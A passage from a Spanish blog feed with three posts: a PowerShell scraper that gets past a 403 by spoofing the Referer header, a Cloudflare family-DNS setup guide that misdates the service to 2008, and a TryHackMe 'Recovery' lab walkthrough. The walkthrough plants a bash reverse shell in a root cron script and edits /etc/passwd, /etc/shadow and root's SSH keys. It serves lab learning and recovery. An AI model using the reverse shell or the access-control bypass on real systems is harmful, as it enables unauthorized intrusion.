<p>La imagen a descargar es lo primero que se ve, y al abrir el inspector de elementos (<code class="language-plaintext highlighter-rouge">Ctrl+C</code>) y seleccionar la imágen me di cuenta que <code class="language-plaintext highlighter-rouge">One.com</code> carga el recurso desde una estructura <code class="language-plaintext highlighter-rouge">img1.Piece.com/uploads/AAAAMMDD/abc123/xyz.jpg</code>.
i
<img src="/assets/img/5-Bypass-403-forbidden-Nginx/3.png" alt="inspector imagen" /></p>

<p>La imágen no tiene un nombre seriado, por ejemplo, <code class="language-plaintext highlighter-rouge">0001_org.jpg</code> esto evita el problema con <a href="https://portswigger.net/web-security/access-control/idor">IDOR’s</a> pero complicó el trabajo de scraping ya que la imágen tiene un nombre aleatorio para el selector 2, 3 ,4 , etc. Además, cuando quería abrir la imágen directamente con la url encontrada, el servidor responde con un <strong>403 Forbidden</strong>.</p>

<p><img src="/assets/img/5-Bypass-403-forbidden-Nginx/4.png" alt="403" /></p>

<p>Aquí abrí el inspector del navegador y me dí cuenta que en el apartado de red cada que recargaba la página el server arrojaba el mismo código de estado.</p>

<p><img src="/assets/img/5-Bypass-403-forbidden-Nginx/5.png" alt="inspector" /></p>

<p>Después de pasar un rato comparando las peticiones, recursos cargados y finalmente las cabeceras de la petición, me dí cuenta que cuando <code class="language-plaintext highlighter-rouge">One.com</code> carga la imagen desde <code class="language-plaintext highlighter-rouge">Piece.com</code> envía la cabecera <code class="language-plaintext highlighter-rouge">Refer: https://One.com</code></p>

<p><img src="/assets/img/5-Bypass-403-forbidden-Nginx/6.png" alt="Refer" /></p>

<p>Esta cabecera sirve para indicarle al servidor <code class="language-plaintext highlighter-rouge">Piece.com</code> que el recurso se está solicitando o se está visitando desde <code class="language-plaintext highlighter-rouge">One.com</code>. Esta información puede ser usada para analytics, loggeo, cacheo y otras funciones, para saber más pueden visitar el siguiente enlace: <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer">https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer</a></p>

<p>Como prueba edité y reenvié la petición con el navegador agregandole la cabecera <code class="language-plaintext highlighter-rouge">Refer: One.com</code> la final</p>

<p><img src="/assets/img/5-Bypass-403-forbidden-Nginx/7.png" alt="Reenvío de petición" /></p>

<p>Como resultado el server me regresó la imagen sin restricciones y haciendo más pruebas encontré que no hace falta agregar más cabeceras</p>

<p><img src="/assets/img/5-Bypass-403-forbidden-Nginx/8.png" alt="Headers" /></p>

<h1 id="código">Código</h1>

<p>Después de ver el comportamiento del server empecé a hacer el script que me permitiera automatizar la descarga de las imágenes en cada selector. Aquí el script final:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$url</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"https://One.com/viewer/1000"</span><span class="w">

</span><span class="nv">$cabeceras</span><span class="o">=</span><span class="p">@{</span><span class="s1">'Referer'</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">'https://One.com/'</span><span class="p">}</span><span class="w">

</span><span class="nv">$carpeta</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"Descarga\\1000"</span><span class="w">

</span><span class="kr">if</span><span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="n">Test-Path</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="nv">$carpeta</span><span class="p">))</span><span class="w">
</span><span class="p">{</span><span class="w">
    </span><span class="n">New-Item</span><span class="w"> </span><span class="nt">-ItemType</span><span class="w"> </span><span class="nx">Directory</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="nv">$carpeta</span><span class="w">
    </span><span class="n">Write-Host</span><span class="w"> </span><span class="s2">"Ya existe el directorio"</span><span class="w"> </span><span class="nv">$carpeta</span><span class="w">
</span><span class="p">}</span><span class="w">

</span><span class="kr">for</span><span class="p">(</span><span class="nv">$i</span><span class="o">=</span><span class="mi">1</span><span class="p">;</span><span class="nv">$i</span><span class="w"> </span><span class="o">-le</span><span class="w"> </span><span class="mi">22</span><span class="p">;</span><span class="w"> </span><span class="nv">$i</span><span class="o">++</span><span class="p">)</span><span class="w">
</span><span class="p">{</span><span class="w">
    
    </span><span class="nv">$datos</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Invoke-WebRequest</span><span class="w"> </span><span class="nt">-Uri</span><span class="w"> </span><span class="s2">"</span><span class="si">$(</span><span class="nv">$url</span><span class="si">)</span><span class="s2">/</span><span class="si">$(</span><span class="nv">$i</span><span class="si">)</span><span class="s2">"</span><span class="w"> </span><span class="nt">-UseBasicParsing</span><span class="w">

    </span><span class="nv">$datos</span><span class="o">.</span><span class="nf">Content</span><span class="w"> </span><span class="o">-match</span><span class="w"> </span><span class="s1">'&lt;img src="(?&lt;IMAGEN&gt;.*.jpg)"'</span><span class="w">

    </span><span class="nv">$salida</span><span class="o">=</span><span class="s2">"</span><span class="si">$(</span><span class="nv">$carpeta</span><span class="si">)</span><span class="s2">\\</span><span class="si">$(</span><span class="nv">$i</span><span class="si">)</span><span class="s2">.jpg"</span><span class="w">

    </span><span class="kr">if</span><span class="p">(</span><span class="nv">$i</span><span class="w"> </span><span class="o">-le</span><span class="w"> </span><span class="mi">9</span><span class="p">)</span><span class="w">
    </span><span class="p">{</span><span class="w">
        </span><span class="nv">$salida</span><span class="o">=</span><span class="s2">"</span><span class="si">$(</span><span class="nv">$carpeta</span><span class="si">)</span><span class="s2">\\0</span><span class="si">$(</span><span class="nv">$i</span><span class="si">)</span><span class="s2">.jpg"</span><span class="w">
    </span><span class="p">}</span><span class="w">
    
    </span><span class="n">Invoke-WebRequest</span><span class="w"> </span><span class="nt">-Headers</span><span class="w"> </span><span class="nv">$cabeceras</span><span class="w"> </span><span class="nt">-Uri</span><span class="w"> </span><span class="bp">$Matches</span><span class="o">.</span><span class="nf">IMAGEN</span><span class="w"> </span><span class="nt">-OutFile</span><span class="w"> </span><span class="nv">$salida</span><span class="w"> </span><span class="nt">-UseBasicParsing</span><span class="w">
    </span><span class="n">Start-Sleep</span><span class="w"> </span><span class="nt">-Milliseconds</span><span class="w"> </span><span class="nx">2000</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<h2 id="explicación-del-código">Explicación del código</h2>

<p>En la primera línea declaramos la variable <code class="language-plaintext highlighter-rouge">$url</code> que apunta a la dirección del grupo de imagenes que vamos a descargar, asignamos la cabecera refer a la variable <code class="language-plaintext highlighter-rouge">$cabecera</code> para descargar la imagen sin error y declaramos el nombre de la carpeta donde se guardarán las imagenes.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$url</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"https://One.com/viewer/1000"</span><span class="w">

</span><span class="nv">$cabeceras</span><span class="o">=</span><span class="p">@{</span><span class="s1">'Referer'</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">'https://One.com/'</span><span class="p">}</span><span class="w">

</span><span class="nv">$carpeta</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"Descarga\\1000"</span><span class="w">
</span></code></pre></div></div>

<p>Este bloque <code class="language-plaintext highlighter-rouge">if</code> crea la carpeta de descarga si no existe.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kr">if</span><span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="n">Test-Path</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="nv">$carpeta</span><span class="p">))</span><span class="w">
</span><span class="p">{</span><span class="w">
    </span><span class="n">New-Item</span><span class="w"> </span><span class="nt">-ItemType</span><span class="w"> </span><span class="nx">Directory</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="nv">$carpeta</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>Inicio de ciclo for de 1 a 22 que corresponde a cada selector.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kr">for</span><span class="p">(</span><span class="nv">$i</span><span class="o">=</span><span class="mi">1</span><span class="p">;</span><span class="nv">$i</span><span class="w"> </span><span class="o">-le</span><span class="w"> </span><span class="mi">22</span><span class="p">;</span><span class="w"> </span><span class="nv">$i</span><span class="o">++</span><span class="p">)</span><span class="w">
</span></code></pre></div></div>

<p>Se concatena <code class="language-plaintext highlighter-rouge">$url</code> y <code class="language-plaintext highlighter-rouge">$i</code> y quedaría <code class="language-plaintext highlighter-rouge">https://One.com/viewer/1000/1</code>, se hace una petición y la respuesta se almacena en <code class="language-plaintext highlighter-rouge">$datos</code>.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$datos</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Invoke-WebRequest</span><span class="w"> </span><span class="nt">-Uri</span><span class="w"> </span><span class="s2">"</span><span class="si">$(</span><span class="nv">$url</span><span class="si">)</span><span class="s2">/</span><span class="si">$(</span><span class="nv">$i</span><span class="si">)</span><span class="s2">"</span><span class="w"> </span><span class="nt">-UseBasicParsing</span><span class="w">
</span></code></pre></div></div>

<p>Aquí utilicé <code class="language-plaintext highlighter-rouge">-match</code> para que busque en la respuesta ($datos.Content) la etiqueta HTML <code class="language-plaintext highlighter-rouge">img src=</code> y que concretamente guarde el valor de src, es decir, la url de la imágen en un campo que se llamará <code class="language-plaintext highlighter-rouge">IMAGEN</code>, con los parentesis estamos indicando el patrón a buscar y la expresion regular sería algo como esto: <code class="language-plaintext highlighter-rouge">\".*\.jpg\"</code></p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$datos</span><span class="o">.</span><span class="nf">Content</span><span class="w"> </span><span class="o">-match</span><span class="w"> </span><span class="s1">'&lt;img src="(?&lt;IMAGEN&gt;.*.jpg)"'</span><span class="w">
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">$salida</code> indica la estructura del nombre de la imagen y junto con el bloque <code class="language-plaintext highlighter-rouge">if</code> le dan orden a las imagenes, cuando <code class="language-plaintext highlighter-rouge">$i</code> vale menos que 9 se le agregará un 0 al nombre del archivo, así quedaría <code class="language-plaintext highlighter-rouge">01.jpg 02.jpg 03jpg</code>, etc.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$salida</span><span class="o">=</span><span class="s2">"</span><span class="si">$(</span><span class="nv">$carpeta</span><span class="si">)</span><span class="s2">\\</span><span class="si">$(</span><span class="nv">$i</span><span class="si">)</span><span class="s2">.jpg"</span><span class="w">

</span><span class="kr">if</span><span class="p">(</span><span class="nv">$i</span><span class="w"> </span><span class="o">-le</span><span class="w"> </span><span class="mi">9</span><span class="p">)</span><span class="w">
</span><span class="p">{</span><span class="w">
	</span><span class="nv">$salida</span><span class="o">=</span><span class="s2">"</span><span class="si">$(</span><span class="nv">$carpeta</span><span class="si">)</span><span class="s2">\\0</span><span class="si">$(</span><span class="nv">$i</span><span class="si">)</span><span class="s2">.jpg"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Finalmente, se hace una petición enviando la cabecera <code class="language-plaintext highlighter-rouge">Refer</code>, usamos el campo <code class="language-plaintext highlighter-rouge">IMAGEN</code> del objeto <code class="language-plaintext highlighter-rouge">Matches</code> como url, le indicamos que guarde la respuesta como un archivo con el nombre de la variable <code class="language-plaintext highlighter-rouge">$salida</code> y después esperará 2 segundos por que de lo contrario el sitio nos banea por demasiadas peticiones en un lapso de tiempo muy corto.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Invoke-WebRequest</span><span class="w"> </span><span class="nt">-Headers</span><span class="w"> </span><span class="nv">$cabeceras</span><span class="w"> </span><span class="nt">-Uri</span><span class="w"> </span><span class="bp">$Matches</span><span class="o">.</span><span class="nf">IMAGEN</span><span class="w"> </span><span class="nt">-OutFile</span><span class="w"> </span><span class="nv">$salida</span><span class="w"> </span><span class="nt">-UseBasicParsing</span><span class="w">
</span><span class="n">Start-Sleep</span><span class="w"> </span><span class="nt">-Milliseconds</span><span class="w"> </span><span class="nx">2000</span><span class="w">
</span></code></pre></div></div>

<h1 id="conclusiones">Conclusiones</h1>

<p>El scraping nos permite automatizar muchas tareas cuando estamos en busca de archivos, sin embargo, muchos servidores limitan el acceso a los recursos con este tipo de restricciones por lo cual es importante conocer estas técnicas simples pero eficaces ;).</p>]]></content><author><name>Luis Medina</name></author><category term="Tutorial" /><category term="DIY" /><category term="scraping" /><category term="powershell" /><summary type="html"><![CDATA[Introducción]]></summary></entry><entry><title type="html">Bloquea contenido malicioso con los DNS de cloudflare</title><link href="https://c04tl.github.io/posts/Bloquedo-de-sitios-maliciosos/" rel="alternate" type="text/html" title="Bloquea contenido malicioso con los DNS de cloudflare" /><published>2022-01-19T12:00:00-06:00</published><updated>2022-01-19T12:00:00-06:00</updated><id>https://c04tl.github.io/posts/Bloquedo-de-sitios-maliciosos</id><content type="html" xml:base="https://c04tl.github.io/posts/Bloquedo-de-sitios-maliciosos/"><![CDATA[<h1 id="introducción">Introducción</h1>

<p>Bienvenidos a este tutorial donde aprenderan a bloquear malware y/o sitios con contenido para adultos al modificar una configuración muy sencilla en los ajustes de red en nuestros dispositivos móviles o computadoras pero primero debemos entender que es un DNS. La siguiente imagen muestra un diagrama sencillo sobre el funcionamiento de un DNS:</p>

<p><img src="/assets/img/2_Bloquea_Malware/1.png" alt="DNS" title="Funcionamiento básico de DNS" /></p>

<ol>
  <li>El cliente hace una consulta al dominio youtube.com</li>
  <li>el DNS traduce el nombre de dominio a la ip del sitio youtube.com</li>
</ol>

<p>Un DNS es un sistema que nos facilita la traducción de las feas direcciones IP en nombres de dominios más bonitos para el entendimiento humano, sin embargo, para las máquinas se siguen utilizando las IP’s, pero ¿Qué pasaría si visitaramos un sitio con contenido malicioso?. Muy fácil, el DNS nos respondería como lo ha venido haciendo desde tiempos inmemorables ya que los DNS’s por defecto no validan si el sitio a resolver a sido catalogado como malicioso, con malware o si se trata de un sitio con contenido para adultos :(.</p>

<p>Es por esto que en 2008 la empresa CloudFlare dió a conocer su familia de DNS’s <em>1.1.1.1 For Families</em>, un sistema de resolución de DNS seguro, rápido, gratuito y que prioriza la privacidad para que todos podamos disponer de esta línea de defensa adicional sin restricción alguna. <em>1.1.1.1 for Families</em> incluye <a href="https://developers.cloudflare.com/1.1.1.1/privacy/public-dns-resolver">sólidas garantías de privacidad</a> y tiene la finalidad de bloquear sitios con Malware, Contenido para adultos o bloquear ambos según sean nuestras necesidades.</p>

<h1 id="cómo-empezar-a-usarlo">¿Cómo empezar a usarlo?</h1>
<p>Para poder usar esta línea de defensa primero debemos elegir la opción que más se adapte a nuestras necesidades:</p>

<ol>
  <li>
    <p>Bloqueo de malware<br />
 DNS Primario	1.1.1.2<br />
 DNS Secundario	1.0.0.2</p>
  </li>
  <li>
    <p>Bloqueo de malware y contenido para adultos<br />
 DNS Primario	1.1.1.3<br />
 DNS Secundario	1.0.0.3</p>
  </li>
</ol>

<p>Una vez que elíjamos una opción, basta con cambiar la configuración de DNS de nuestros nuestros dispositivos. Para ello veremos primero como realizarlo en android y posteriormente en Windows ya que son los dispositivos más comunes entre los usuarios.</p>

<h2 id="android">Android</h2>

<p>Como primer paso, debemos abrir la configuración de Wi-Fi de nuestro dispositivo al bajar la barra de estado y dejando presionado sobre el ícono de Wi-Fi para después ir a los detalles de la red en la que estemos conectados.</p>

<p><img src="/assets/img/2_Bloquea_Malware/2.jpg" alt="Paso 1" /></p>

<p>A continuación vamos a cambiar la configuración de IP por una dirección estática que no esté siendo ocupada por otro dispositivo. Recomiendo poner un valor arriba de 100 para estar seguros y no entrar en conflictos de direccionamiento ;).</p>

<p>Por lo general nuestra Puerta de Enlace o Router tiene la primera dirección de nuestra red (en mi caso <em>10.0.0.1</em>) y en longitud de prefijo ponemos 24 o la longitud que tengamos configurada, finalmente, en DNS primario y DNS Secundario ponemos la opción que hayamos elegido, en este ejemplo utilicé el bloqueo de Malware. Con todas estas modificaciones deberiamos tener algo como lo siguiente:</p>

<p><img src="/assets/img/2_Bloquea_Malware/3.jpg" alt="Paso 2" /></p>

<p>Guardamos los cambios realizados y con esto terminaríamos con la configuración en Android.</p>

<h2 id="windows">Windows</h2>

<p>Para windows debemos empezar haciendo click derecho en el ícono de conexión en la barra de tareas y después seleccionar la opción <strong>Abrir configuración de red e internet</strong></p>

<p><img src="/assets/img/2_Bloquea_Malware/4.jpg" alt="Paso 1" /></p>

<p>A continuación se abrirá la venta de configuración y seleccionaremos el botón <strong>Propiedades</strong> de la red en la que estemos conectados</p>

<p><img src="/assets/img/2_Bloquea_Malware/5.jpg" alt="Paso 2" /></p>

<p>En la nueva ventana nos desplazaremos hacia abajo hasta encontrar la sección <strong>Configuración de IP</strong> donde seleccionaremos el botón editar y después seleccionaremos la opción Manual del menú desplegable</p>

<p><img src="/assets/img/2_Bloquea_Malware/6.jpg" alt="Paso 3" /></p>

<p>Finalmente activamos el interruptor de IPv4 y al igual que en Android agregamos la dirección IP, Puerta de enlace, longitud del prefijo y, en este caso, los DNS de bloqueo de malware y contenido para adultos, recuerden guardar los cambios antes de salir.</p>

<p><img src="/assets/img/2_Bloquea_Malware/7.jpg" alt="Paso 4" /></p>

<p>Y ¡listo! con estas configuraciones tendremos agregada una capa extra de seguridad para navegar y mantenernos más seguros en la web. Gracias por visitar mi página, espero que te haya sido útil y nos vemos hasta otra publicación ;).</p>]]></content><author><name>Luis Medina</name></author><category term="Tutorial" /><category term="DIY" /><category term="Windows" /><category term="Android" /><category term="DNS" /><category term="Configuración de red" /><category term="Bloquedo de Malware" /><summary type="html"><![CDATA[Introducción]]></summary></entry><entry><title type="html">Resolución de máquina Recovery - TryHackMe</title><link href="https://c04tl.github.io/posts/THM-Recovery/" rel="alternate" type="text/html" title="Resolución de máquina Recovery - TryHackMe" /><published>2021-11-25T00:00:00-06:00</published><updated>2021-11-25T00:00:00-06:00</updated><id>https://c04tl.github.io/posts/THM-Recovery</id><content type="html" xml:base="https://c04tl.github.io/posts/THM-Recovery/"><![CDATA[<h1 id="introducción">Introducción</h1>

<p>Bienvenidos a mi página y a este post donde veremos como solucionar la máquina Recovery de TryHackMe. Cabe aclarar que en esta máquina no estaremos vulnerando nada sino todo lo contrario, ayudaremos a Alex a solucionar y recuperar los archivos que fueron eliminados por un Malware que le hicieron instalar a través de un ataque de Spear Phishing vía e-mail, dicho mensaje se muestra  acontinuación:</p>

<blockquote>
  <p>Hi Alex,
A recent security vulnerability has been discovered that affects the web server. Could you please run this binary on the server to implement the fix?
Regards</p>
  <ul>
    <li>Teo</li>
  </ul>
</blockquote>

<p>Alex nos da las credenciales de <code class="language-plaintext highlighter-rouge">SSH</code> además de brindarnos una interfaz web donde veremos las banderas por cada reparación aplicada al daño causado por el malware fixutil, podemos acceder a esta interfaz en la misma máquina a través del puerto 1337 (por que somos muy hackers).</p>

<p><strong>Username: alex<br />
Password: madeline</strong></p>

<h1 id="resolución">Resolución</h1>
<p>Primeramente nos conectamos por <code class="language-plaintext highlighter-rouge">SSH</code> con las credenciales que Alex nos dio, y como nos contó, se imprime el texto <strong>YOU DIDN’T SAY THE MAGIC WORD</strong> y después de unos instantes se cierra completamente la conexión, pero si tecleamos <code class="language-plaintext highlighter-rouge">CTRL+C</code> mientras se imprime el mensaje, podemos escribir <code class="language-plaintext highlighter-rouge">bash</code> para abrir una nueva instancia de la bash y vamos a poder ejecutar ordenes.</p>

<p><img src="/assets/img/1_THM-Recovery/1.jpg" alt="SSH" /></p>

<blockquote>
  <p>Nota: alternativamente podemos escribir <code class="language-plaintext highlighter-rouge">sh</code> y de esta manera la línea de comandos no morirá, esto lo explicaremos más adelante ;)</p>
</blockquote>

<h2 id="flag-0">Flag 0</h2>

<p>Ya que linux lee y ejecuta la ordenes dentro del archivo <code class="language-plaintext highlighter-rouge">.bashrc</code> al principio de la conexión, podemos intuir que el mensaje <strong>YOU DIDN’T SAY THE MAGIC WORD</strong> está dentro de dicho archivo en una orden que lo imprime en todo momento, y al abrirlo con vim podemos ver en la siguiente imagen que efectivamente fue así, <strong>para obtener la flag 0 debemos comentar o eliminar esta línea</strong>.</p>

<p><img src="/assets/img/1_THM-Recovery/2.jpg" alt="Archivo .bashrc" /></p>

<h2 id="flag-1">Flag 1</h2>

<p>Pero después de cierto tiempo se sigue cerrando la conexión, entonces puede tratarse de una tarea cron que se ejecuta en intervalos de tiempo. Para ver las tareas programadas hacemos un <code class="language-plaintext highlighter-rouge">ls -la /etc/cron.d/</code> lo que nos muestra una tarea de nombre <code class="language-plaintext highlighter-rouge">evil</code>, al hacer un <code class="language-plaintext highlighter-rouge">cat /etc/cron.d/evil</code> podemos ver que la tarea ejecuta lo siguiente:</p>

<p><img src="/assets/img/1_THM-Recovery/3.jpg" alt="Tarea evil" /></p>

<p>Cuando listamos los permisos de este script, podemos ver que tenemos permisos <code class="language-plaintext highlighter-rouge">rwx</code> (lectura, escritura y ejecución) por lo cual lo abrimos con vim y podemos ver un ciclo for que busca los PID (Process ID) de todos los procesos con nombre <code class="language-plaintext highlighter-rouge">bash</code> que se estén ejecutando y va haciendo un <code class="language-plaintext highlighter-rouge">kill</code> a cada uno de ellos, es por esto que <strong><em>debemos comentar o elimnar esta línea para que no se muera nuesta sesión <code class="language-plaintext highlighter-rouge">SSH</code> y podamos conseguir la flag 1</em></strong>.</p>

<p><img src="/assets/img/1_THM-Recovery/4.jpg" alt="Archivo brilliant_script.sh" /></p>

<h3 id="análisis-de-fixutil-con-strings">Análisis de fixutil con strings</h3>

<p>Después de realizar la modifiación, no encontramos pistas para continuar con la reparación del daño, es por esto que utilizamos la herramienta <code class="language-plaintext highlighter-rouge">strings</code> para obtener todas las cadenas imprimibles dentro del ejecutable <code class="language-plaintext highlighter-rouge">fixutil</code> y de esta manera, realizar un ‘reversing’ y poder analizar lo cambios realizados por este malware.</p>

<p>Al revisar las cadenas obtenidas, nos encontramos con lo que parecen ser nombres de variables y funciones (index_of_encryption_key, webfile_names, XOREncryptWebFiles, encryption_key_dir, rand_string, GetWebFiles, LogIncorrectAttempt, XORFile) lo que nos hace suponer que se aplicó un “cifrado” XOR a los archivos, además, podemos notar lo que parecen ser las tareas ejecutadas por <code class="language-plaintext highlighter-rouge">fixutil</code>:</p>

<p><img src="/assets/img/1_THM-Recovery/5.jpg" alt="Analisis de strings" /></p>

<ol>
  <li>El archivo en la siguiente ruta <code class="language-plaintext highlighter-rouge">/opt/.fixutil/backup.txt</code> parece sospechoso y solo tiene permisos el usuario propietario (root).</li>
  <li>Se ejecutó la siguiente línea de comandos <code class="language-plaintext highlighter-rouge">/bin/mv /tmp/logging.so /lib/x86_64-linux-gnu/oldliblogging.so</code> la cual mueve el archivo <code class="language-plaintext highlighter-rouge">logging.so</code>  hacia el directorio <code class="language-plaintext highlighter-rouge">/lib/x86_64-linux-gnu/</code> con el nombre <code class="language-plaintext highlighter-rouge">oldliblogging.so</code>.</li>
  <li>Se añade una llave ssh al archivo de llaves autorizadas del usuario root</li>
  <li>Se agrega el usuario <code class="language-plaintext highlighter-rouge">security</code> en el grupo de usuarios con privilegios de root además de cambiarle la contraseña a la que se puede ver en la imagen</li>
  <li>La creación de <code class="language-plaintext highlighter-rouge">brilliant_script</code> y la tarea cron <code class="language-plaintext highlighter-rouge">evil</code></li>
</ol>

<p><img src="/assets/img/1_THM-Recovery/6.jpg" alt="Analisis de strings" /></p>

<ol>
  <li>La modificación del archivo <code class="language-plaintext highlighter-rouge">.bashrc</code> de alex</li>
  <li>Esta línea de comandos se ejecutó antes de la tarea 2: <code class="language-plaintext highlighter-rouge">/bin/cp /lib/x86_64-linux-gnu/liblogging.so /tmp/logging.so</code> la cual copia el archivo <code class="language-plaintext highlighter-rouge">liblogging.so</code> hacía el directorio <code class="language-plaintext highlighter-rouge">/tmp/</code> con el nombre <code class="language-plaintext highlighter-rouge">logging.so</code> pero se deduce que se realizó alguna modificación en algún punto.</li>
  <li>Se ejecuta la el módulo <code class="language-plaintext highlighter-rouge">liblogging.so</code></li>
</ol>

<p>Dado que las tareas identificadas se realizaron con privilegios elevados y ya que <code class="language-plaintext highlighter-rouge">brilliant_script</code> se ejecuta con privilegios de root, podemos aprovechar los permisos de escritura sobre este archivo y establecer una reverse shell con netcat agregando lo siguiente:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bash <span class="nt">-c</span> <span class="s1">'bash -i &gt;&amp; /dev/tcp/IP/PUERTO 0&gt;&amp;1'</span>
</code></pre></div></div>

<blockquote>
  <p>Nota: Sustituir IP por nuestra IP y PUERTO por el puerto deseado</p>
</blockquote>

<p><img src="/assets/img/1_THM-Recovery/7.jpg" alt="configuración de reverse shell" /></p>

<h2 id="flag-2">Flag 2</h2>
<p>Una vez obtenida nuestra reverse shell con privilegios elevados, analizamos los archivos .so modificados con la herramienta head y podemos ver los iguiente para el archivo liblogging.so:</p>

<p><img src="/assets/img/1_THM-Recovery/8.jpg" alt="Archivo liblogging.so" /></p>

<p>Y el archivo oldliblogging.so muestra lo siguiente:</p>

<p><img src="/assets/img/1_THM-Recovery/9.jpg" alt="Archivo oldlogging.so" /></p>

<p>Debido a los cambios realizados por el malware <strong><em>debemos restaurar el archivo <code class="language-plaintext highlighter-rouge">oldliblogging.so</code></em></strong>, para esto ejecutamos la siguiente linea de comandos:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">mv</span> /lib/x86_64-linux-gnu/oldliblogging.so /lib/x86_64-linux-gnu/liblogging.so
</code></pre></div></div>

<h2 id="flag-3">Flag 3</h2>

<p>Como vimos durante el analisis se agregó una llave ssh al archivo <code class="language-plaintext highlighter-rouge">authorized_keys</code> del usuario root, por lo cual, <strong><em>nuestra tarea será eliminar dicha llave</em></strong> con la siguiente linea de comandos:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s1">''</span> <span class="o">&gt;</span> /root/.ssh/authorized_keys
</code></pre></div></div>

<h2 id="flag-4">Flag 4</h2>

<p><strong><em>Para obtener esta bandera necesitamos eliminar el usuario security eliminandolo de los archivos <code class="language-plaintext highlighter-rouge">/etc/passwd</code> y <code class="language-plaintext highlighter-rouge">/etc/shadow</code> manualmente</em></strong> ya que en la máquina no existe la utilidad <code class="language-plaintext highlighter-rouge">userdel</code>, par eliminarlo de el primer archivo usaremos la siguiente línea de comandos:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sed</span> <span class="nt">-i</span> <span class="s1">'$d'</span> /etc/passwd
</code></pre></div></div>

<p>Y para eliminarlo del archivo <code class="language-plaintext highlighter-rouge">shadow</code>:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sed</span> <span class="nt">-i</span> <span class="s1">'$d'</span> /etc/shadow
</code></pre></div></div>

<h2 id="flag-5">Flag 5</h2>

<p>Durante el analisis realizado con <code class="language-plaintext highlighter-rouge">strings</code> pudimos apreciar la creación del directorio oculto <code class="language-plaintext highlighter-rouge">/opt/.fixutil/</code> el cual solo tiene permisos para el usuario propietario(root) y ya que tenemos nuestra reverse shell con privilegios elevados, podemos revisar el contenido de este directorio donde nos encontramos con el archvio <code class="language-plaintext highlighter-rouge">backup.txt</code> el cual continene la contraseña con la que se cifraron los archivos:</p>

<p><img src="/assets/img/1_THM-Recovery/10.jpg" alt="Directorio .fixutil" /></p>

<p>Mirando en las cadenas obetnidas con <code class="language-plaintext highlighter-rouge">string</code> encontramos el directorio web <code class="language-plaintext highlighter-rouge">/usr/local/apache2/htdocs/</code> y al hacer un <code class="language-plaintext highlighter-rouge">cat</code> para revisar el contenido de los archivos, podemos ver que están cifrados:</p>

<p><img src="/assets/img/1_THM-Recovery/11.jpg" alt="Archivos web" /></p>

<p>Al tratarse de un cifrado XOR podemos implementar un programa en <code class="language-plaintext highlighter-rouge">python</code> para que descrifre los archivos con la llave que está en el archivo <code class="language-plaintext highlighter-rouge">backup.txt</code>, hay que recordar que la máquina no tiene <code class="language-plaintext highlighter-rouge">python</code> por lo que este proceso se hará local.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="n">pathlib</span> <span class="kn">import</span> <span class="n">Path</span>

<span class="n">llave</span><span class="o">=</span><span class="sa">b</span><span class="sh">"</span><span class="s">AdsipPewFlfkmll</span><span class="sh">"</span>
<span class="n">archivos</span><span class="o">=</span><span class="p">[</span><span class="sh">"</span><span class="s">index.html</span><span class="sh">"</span><span class="p">,</span><span class="sh">"</span><span class="s">todo.html</span><span class="sh">"</span><span class="p">,</span><span class="sh">"</span><span class="s">reallyimportant.txt</span><span class="sh">"</span><span class="p">]</span>
<span class="n">carpeta_salida</span><span class="o">=</span><span class="nc">Path</span><span class="p">(</span><span class="sh">"</span><span class="s">descifrados</span><span class="sh">"</span><span class="p">)</span>

<span class="n">Path</span><span class="p">.</span><span class="nf">mkdir</span><span class="p">(</span><span class="n">carpeta_salida</span><span class="p">)</span>


<span class="k">for</span> <span class="n">elemento</span> <span class="ow">in</span> <span class="n">archivos</span><span class="p">:</span>
    <span class="n">archivo</span><span class="o">=</span><span class="nf">open</span><span class="p">(</span><span class="n">elemento</span><span class="p">,</span><span class="sh">"</span><span class="s">rb</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">archivo_salida</span><span class="o">=</span><span class="nc">Path</span><span class="p">(</span><span class="sh">"</span><span class="s">descifrados</span><span class="sh">"</span><span class="p">,</span> <span class="n">elemento</span><span class="p">)</span>

